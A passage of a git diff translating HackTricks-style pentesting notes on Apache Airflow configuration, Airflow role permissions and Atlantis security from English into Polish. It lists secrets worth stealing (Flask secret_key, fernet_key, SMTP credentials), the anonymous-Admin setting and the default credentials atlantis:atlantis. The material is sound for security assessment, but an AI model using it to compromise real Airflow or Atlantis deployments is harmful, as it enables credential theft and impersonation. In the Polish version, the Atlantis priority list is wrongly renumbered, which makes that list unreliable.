../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..efbd9996e 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,115 +1,105 @@ -# Airflow Configuration +# Konfiguracja Airflow {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## Plik konfiguracyjny -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** generuje **plik konfiguracyjny** na wszystkich maszynach airflow o nazwie **`airflow.cfg`** w katalogu domowym użytkownika airflow. Ten plik konfiguracyjny zawiera informacje konfiguracyjne i **może zawierać interesujące i wrażliwe informacje.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Istnieją dwa sposoby dostępu do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być używane**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\ +Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**. -Some interesting values to check when reading the config file: +Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku konfiguracyjnego: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: To wskazuje **dozwolone** **nagłówki** dla **CORS** +- **`access_control_allow_methods`**: To wskazuje **dozwolone metody** dla **CORS** +- **`access_control_allow_origins`**: To wskazuje **dozwolone źródła** dla **CORS** +- **`auth_backend`**: [**Zgodnie z dokumentacją**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kilka opcji może być użytych do skonfigurowania, kto może uzyskać dostęp do API: +- `airflow.api.auth.backend.deny_all`: **Domyślnie nikt** nie może uzyskać dostępu do API +- `airflow.api.auth.backend.default`: **Każdy może** uzyskać do niego dostęp bez uwierzytelnienia +- `airflow.api.auth.backend.kerberos_auth`: Aby skonfigurować **uwierzytelnianie kerberos** +- `airflow.api.auth.backend.basic_auth`: Dla **podstawowego uwierzytelniania** +- `airflow.composer.api.backend.composer_auth`: Używa uwierzytelniania kompozytora (GCP) (z [**tutaj**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: To wskazuje **rolę**, jaką **użytkownik kompozytora** otrzyma w **airflow** (**Op** domyślnie). +- Możesz również **stworzyć własną metodę uwierzytelniania** w pythonie. +- **`google_key_path`:** Ścieżka do **klucza konta usługi GCP** ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Hasło Atlas +- **`username`**: Nazwa użytkownika Atlas ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Poświadczenia (_user1:password1,user2:password2_) +- **`result_backend`**: URL Postgres, który może zawierać **poświadczenia**. +- **`ssl_cacert`**: Ścieżka do cacert +- **`ssl_cert`**: Ścieżka do certyfikatu +- **`ssl_key`**: Ścieżka do klucza ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Włączone domyślnie. Podczas odkrywania DAG-ów, ignoruj wszelkie pliki, które nie zawierają ciągów `DAG` i `airflow`. +- **`fernet_key`**: Klucz do przechowywania zaszyfrowanych zmiennych (symetryczny) +- **`hide_sensitive_var_conn_fields`**: Włączone domyślnie, ukrywa wrażliwe informacje o połączeniach. +- **`security`**: Jaki moduł zabezpieczeń użyć (na przykład kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: Ścieżka do ca +- **`tls_cert`**: Ścieżka do certyfikatu +- **`tls_key`**: Ścieżka do klucza tls ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: Ścieżka do pliku ccache +- **`forwardable`**: Włączone domyślnie ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: Ścieżka do poświadczeń JSON GCP. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Pełna nazwa klasy backendu sekretów do włączenia +- **`backend_kwargs`**: Parametr backend_kwargs jest ładowany do słownika i przekazywany do **init** klasy backendu sekretów. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: Hasło SMTP +- **`smtp_user`**: Użytkownik SMTP ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: Domyślnie to **Lax**, więc to już najsłabsza możliwa wartość +- **`cookie_secure`**: Ustaw **flaga zabezpieczeń** na ciasteczku sesyjnym +- **`expose_config`**: Domyślnie jest False, jeśli prawda, **konfiguracja** może być **odczytana** z **konsoli** internetowej +- **`expose_stacktrace`**: Domyślnie to True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego) +- **`secret_key`**: To jest **klucz używany przez flask do podpisywania ciasteczek** (jeśli to masz, możesz **podszyć się pod dowolnego użytkownika w Airflow**) +- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu SSL** +- **`web_server_ssl_key`**: **Ścieżka** do **klucza SSL** +- **`x_frame_enabled`**: Domyślnie to **True**, więc domyślnie clickjacking nie jest możliwy -### Web Authentication - -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as +### Uwierzytelnianie w sieci +Domyślnie **uwierzytelnianie w sieci** jest określone w pliku **`webserver_config.py`** i jest skonfigurowane jako ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +Co oznacza, że **uwierzytelnianie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak ```bash AUTH_TYPE = AUTH_OAUTH ``` +Aby pozostawić **uwierzytelnianie zewnętrznym usługom**. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +Jednak istnieje również opcja **zezwolenia anonimowym użytkownikom na dostęp**, ustawiając następujący parametr na **pożądaną rolę**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..b61bdc9b6 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarczany jest z **domyślnym zestawem ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **Użytkownicy `Admin`** mają wszystkie możliwe uprawnienia. +- **Użytkownicy `Public`** (anonimowi) nie mają żadnych uprawnień. +- **Użytkownicy `Viewer`** mają ograniczone uprawnienia do przeglądania (tylko do odczytu). **Nie mogą zobaczyć konfiguracji.** +- **Użytkownicy `User`** mają uprawnienia `Viewer` oraz dodatkowe uprawnienia użytkownika, które pozwalają im zarządzać DAG-ami w pewnym zakresie. **Mogą zobaczyć plik konfiguracyjny.** +- **Użytkownicy `Op`** mają uprawnienia `User` oraz dodatkowe uprawnienia operacyjne. -Note that **admin** users can **create more roles** with more **granular permissions**. +Zauważ, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +Zauważ również, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić. -### Default Permissions +### Domyślne Uprawnienia -These are the default permissions per default role: +Oto domyślne uprawnienia dla domyślnej roli: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[może usuwać w Connections, może czytać w Connections, może edytować w Connections, może tworzyć w Connections, może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może usuwać w Pools, może czytać w Pools, może edytować w Pools, może tworzyć w Pools, może czytać w Providers, może usuwać w Variables, może czytać w Variables, może edytować w Variables, może tworzyć w Variables, może czytać w XComs, może czytać w DAG Code, może czytać w Configurations, może czytać w Plugins, może czytać w Roles, może czytać w Permissions, może usuwać w Roles, może edytować w Roles, może tworzyć w Roles, może czytać w Users, może tworzyć w Users, może edytować w Users, może usuwać w Users, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances, dostęp do menu w Admin, dostęp do menu w Configurations, dostęp do menu w Connections, dostęp do menu w Pools, dostęp do menu w Variables, dostęp do menu w XComs, może usuwać w XComs, może czytać w Task Reschedules, dostęp do menu w Task Reschedules, może czytać w Triggers, dostęp do menu w Triggers, może czytać w Passwords, może edytować w Passwords, dostęp do menu w List Users, dostęp do menu w Security, dostęp do menu w List Roles, może czytać w User Stats Chart, dostęp do menu w User's Statistics, dostęp do menu w Base Permissions, może czytać w View Menus, dostęp do menu w Views/Menus, może czytać w Permission Views, dostęp do menu w Permission on Views/Menus, może uzyskać dostęp do MenuApi, dostęp do menu w Providers, może tworzyć w XComs] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[może usuwać w Connections, może czytać w Connections, może edytować w Connections, może tworzyć w Connections, może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może usuwać w Pools, może czytać w Pools, może edytować w Pools, może tworzyć w Pools, może czytać w Providers, może usuwać w Variables, może czytać w Variables, może edytować w Variables, może tworzyć w Variables, może czytać w XComs, może czytać w DAG Code, może czytać w Configurations, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances, dostęp do menu w Admin, dostęp do menu w Configurations, dostęp do menu w Connections, dostęp do menu w Pools, dostęp do menu w Variables, dostęp do menu w XComs, może usuwać w XComs] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może czytać w XComs, może czytać w DAG Code, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[może czytać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może czytać w Audit Logs, może czytać w ImportError, może czytać w XComs, może czytać w DAG Code, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..6473fd883 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -10,103 +10,103 @@ Atlantis basically helps you to to run terraform from Pull Requests from your gi ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. Przejdź do **strony z wydaniami atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która Ci odpowiada. +2. Utwórz **osobisty token** (z dostępem do repozytoriów) swojego użytkownika **github**. +3. Wykonaj `./atlantis testdrive`, a utworzy to **demo repo**, którego możesz użyć do **komunikacji z atlantis**. +4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141. ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** wspiera kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\ +Jednak, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\ +[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do stworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> W każdym przypadku, z perspektywy atakującego, **konto Atlantis** będzie bardzo **interesujące** **do skompromitowania**. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis opcjonalnie używa [**sekretów webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z Twojego hosta Git, są **legitymne**. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** Twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhook. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhook na Internet. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis będzie **wystawiał webhooki**, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, **czy możesz wysyłać mu wiadomości**. #### Provider Credentials -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla Twojego konkretnego dostawcy. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +To od Ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację. +- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom na nich działającym, np.: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role") +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis. +- Inni tworzą niezbędne pliki konfiguracyjne, np. `~/.aws/credentials`, gdzie działa Atlantis. +- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) do uzyskania poświadczeń dostawcy. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi zarządza Atlantis za pomocą Terraform. #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +Domyślnie Atlantis uruchomi **stronę internetową na porcie 4141 w localhost**. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Prawdopodobnie nie znajdziesz jej wystawionej w Internecie, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**). ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +Konfiguracja dla `atlantis server` może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wspieranych przez serwer Atlantis. +- Możesz znaleźć [**tutaj jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). -Values are **chosen in this order**: +Wartości są **wybierane w tej kolejności**: -1. Flags -2. Environment Variables -3. Config File +1. Flagi +2. Zmienne środowiskowe +3. Plik konfiguracyjny > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak **tokeny i hasła**. #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to. +2. Prawdopodobnie wymagane, aby były dozwolone przez flagi takie jak `allowed_overrides` lub `allow_custom_workflows`. +3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać ją z flagą `--repo-config` i jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów). +4. **Domyślne** wartości. **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis pozwala wskazać, czy chcesz, aby **PR** był **`zatwierdzony`** przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był **`możliwy do scalania`** (ochrony gałęzi spełnione) **przed uruchomieniem apply**. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +W przypadku, gdy `allowed_overrides` jest True, te ustawienia mogą być **nadpisywane w 